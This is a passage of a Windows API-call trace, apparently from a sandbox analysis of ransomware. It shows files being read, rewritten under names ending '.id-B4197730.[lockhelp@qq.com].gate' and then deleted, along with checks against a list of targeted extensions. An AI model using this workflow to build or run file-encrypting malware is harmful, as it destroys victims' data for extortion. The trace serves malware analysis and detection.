office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0299.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.443] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.443] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0299.444] GetLastError () returned 0x0 [0299.444] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0299.569] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x1b40, lpOverlapped=0x0) returned 1 [0299.570] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.570] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.571] SetEndOfFile (hFile=0x4c4) returned 1 [0299.571] CloseHandle (hObject=0x4c4) returned 1 [0299.571] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.571] SetEndOfFile (hFile=0x554) returned 1 [0299.576] CloseHandle (hObject=0x554) returned 1 [0299.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.579] lstrlenW (lpString=".doc") returned 4 [0299.579] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.579] lstrlenW (lpString=".docx") returned 5 [0299.579] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.579] lstrlenW (lpString=".pdf") returned 4 [0299.579] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.579] lstrlenW (lpString=".xls") returned 4 [0299.579] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.579] lstrlenW (lpString=".xlsx") returned 5 [0299.579] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.579] lstrlenW (lpString=".ppt") returned 4 [0299.579] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.579] lstrlenW (lpString=".zip") returned 4 [0299.579] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.579] lstrlenW (lpString=".rar") returned 4 [0299.579] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.579] lstrlenW (lpString=".bz2") returned 4 [0299.579] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.579] lstrlenW (lpString=".7z") returned 3 [0299.579] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.579] lstrlenW (lpString=".dbf") returned 4 [0299.579] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.579] lstrlenW (lpString=".1cd") returned 4 [0299.580] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.580] lstrlenW (lpString=".jpg") returned 4 [0299.580] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.580] lstrlenW (lpString=".doc") returned 4 [0299.580] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.580] lstrlenW (lpString=".docx") returned 5 [0299.580] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.580] lstrlenW (lpString=".pdf") returned 4 [0299.580] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.580] lstrlenW (lpString=".xls") returned 4 [0299.580] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.580] lstrlenW (lpString=".xlsx") returned 5 [0299.580] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.580] lstrlenW (lpString=".ppt") returned 4 [0299.580] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.580] lstrlenW (lpString=".zip") returned 4 [0299.580] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.580] lstrlenW (lpString=".rar") returned 4 [0299.580] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.581] lstrlenW (lpString=".bz2") returned 4 [0299.581] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.581] lstrlenW (lpString=".7z") returned 3 [0299.581] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.581] lstrlenW (lpString=".dbf") returned 4 [0299.581] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.581] lstrlenW (lpString=".1cd") returned 4 [0299.581] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0299.581] lstrlenW (lpString=".jpg") returned 4 [0299.581] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.581] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.581] lstrlenW (lpString="FINCL_01.MID") returned 12 [0299.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.582] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=12981) returned 1 [0299.582] CloseHandle (hObject=0x554) returned 1 [0299.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0299.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.583] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.583] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0299.584] GetLastError () returned 0x0 [0299.584] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x32b5, lpOverlapped=0x0) returned 1 [0299.690] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0299.692] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.692] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.692] SetEndOfFile (hFile=0x4c4) returned 1 [0299.692] CloseHandle (hObject=0x4c4) returned 1 [0299.692] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.692] SetEndOfFile (hFile=0x554) returned 1 [0299.696] CloseHandle (hObject=0x554) returned 1 [0299.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0299.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.697] lstrlenW (lpString=".doc") returned 4 [0299.697] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.697] lstrlenW (lpString=".docx") returned 5 [0299.697] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.697] lstrlenW (lpString=".pdf") returned 4 [0299.697] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.697] lstrlenW (lpString=".xls") returned 4 [0299.697] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.697] lstrlenW (lpString=".xlsx") returned 5 [0299.697] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.697] lstrlenW (lpString=".ppt") returned 4 [0299.697] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.697] lstrlenW (lpString=".zip") returned 4 [0299.697] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.697] lstrlenW (lpString=".rar") returned 4 [0299.697] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.697] lstrlenW (lpString=".bz2") returned 4 [0299.697] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.697] lstrlenW (lpString=".7z") returned 3 [0299.698] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.698] lstrlenW (lpString=".dbf") returned 4 [0299.698] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.698] lstrlenW (lpString=".1cd") returned 4 [0299.698] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.698] lstrlenW (lpString=".jpg") returned 4 [0299.698] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.698] lstrlenW (lpString=".doc") returned 4 [0299.698] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.698] lstrlenW (lpString=".docx") returned 5 [0299.698] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.698] lstrlenW (lpString=".pdf") returned 4 [0299.698] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.698] lstrlenW (lpString=".xls") returned 4 [0299.698] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.698] lstrlenW (lpString=".xlsx") returned 5 [0299.698] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.698] lstrlenW (lpString=".ppt") returned 4 [0299.698] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.699] lstrlenW (lpString=".zip") returned 4 [0299.699] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.699] lstrlenW (lpString=".rar") returned 4 [0299.699] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.699] lstrlenW (lpString=".bz2") returned 4 [0299.699] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.699] lstrlenW (lpString=".7z") returned 3 [0299.699] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.699] lstrlenW (lpString=".dbf") returned 4 [0299.699] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.699] lstrlenW (lpString=".1cd") returned 4 [0299.699] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0299.699] lstrlenW (lpString=".jpg") returned 4 [0299.699] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.699] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.699] lstrlenW (lpString="GRID_01.MID") returned 11 [0299.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.700] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=6331) returned 1 [0299.700] CloseHandle (hObject=0x554) returned 1 [0299.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0299.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.701] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.701] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0299.701] GetLastError () returned 0x0 [0299.701] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x18bb, lpOverlapped=0x0) returned 1 [0299.774] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0299.775] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.775] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xea, lpOverlapped=0x0) returned 1 [0299.775] SetEndOfFile (hFile=0x4c4) returned 1 [0299.775] CloseHandle (hObject=0x4c4) returned 1 [0299.776] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.776] SetEndOfFile (hFile=0x554) returned 1 [0299.778] CloseHandle (hObject=0x554) returned 1 [0299.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0299.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.779] lstrlenW (lpString=".doc") returned 4 [0299.779] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.779] lstrlenW (lpString=".docx") returned 5 [0299.779] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.779] lstrlenW (lpString=".pdf") returned 4 [0299.779] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.779] lstrlenW (lpString=".xls") returned 4 [0299.779] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.779] lstrlenW (lpString=".xlsx") returned 5 [0299.779] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.779] lstrlenW (lpString=".ppt") returned 4 [0299.779] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.779] lstrlenW (lpString=".zip") returned 4 [0299.779] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.779] lstrlenW (lpString=".rar") returned 4 [0299.779] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.779] lstrlenW (lpString=".bz2") returned 4 [0299.779] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.779] lstrlenW (lpString=".7z") returned 3 [0299.779] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.779] lstrlenW (lpString=".dbf") returned 4 [0299.779] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.779] lstrlenW (lpString=".1cd") returned 4 [0299.779] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.779] lstrlenW (lpString=".jpg") returned 4 [0299.780] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.780] lstrlenW (lpString=".doc") returned 4 [0299.780] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.780] lstrlenW (lpString=".docx") returned 5 [0299.780] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.780] lstrlenW (lpString=".pdf") returned 4 [0299.780] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.780] lstrlenW (lpString=".xls") returned 4 [0299.780] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.780] lstrlenW (lpString=".xlsx") returned 5 [0299.780] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.780] lstrlenW (lpString=".ppt") returned 4 [0299.780] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.780] lstrlenW (lpString=".zip") returned 4 [0299.780] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.780] lstrlenW (lpString=".rar") returned 4 [0299.780] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.780] lstrlenW (lpString=".bz2") returned 4 [0299.780] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.780] lstrlenW (lpString=".7z") returned 3 [0299.780] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.780] lstrlenW (lpString=".dbf") returned 4 [0299.780] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.781] lstrlenW (lpString=".1cd") returned 4 [0299.781] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0299.781] lstrlenW (lpString=".jpg") returned 4 [0299.781] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.781] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.781] lstrlenW (lpString="INDST_01.MID") returned 12 [0299.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0299.795] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=8568) returned 1 [0299.795] CloseHandle (hObject=0x514) returned 1 [0299.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0299.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), 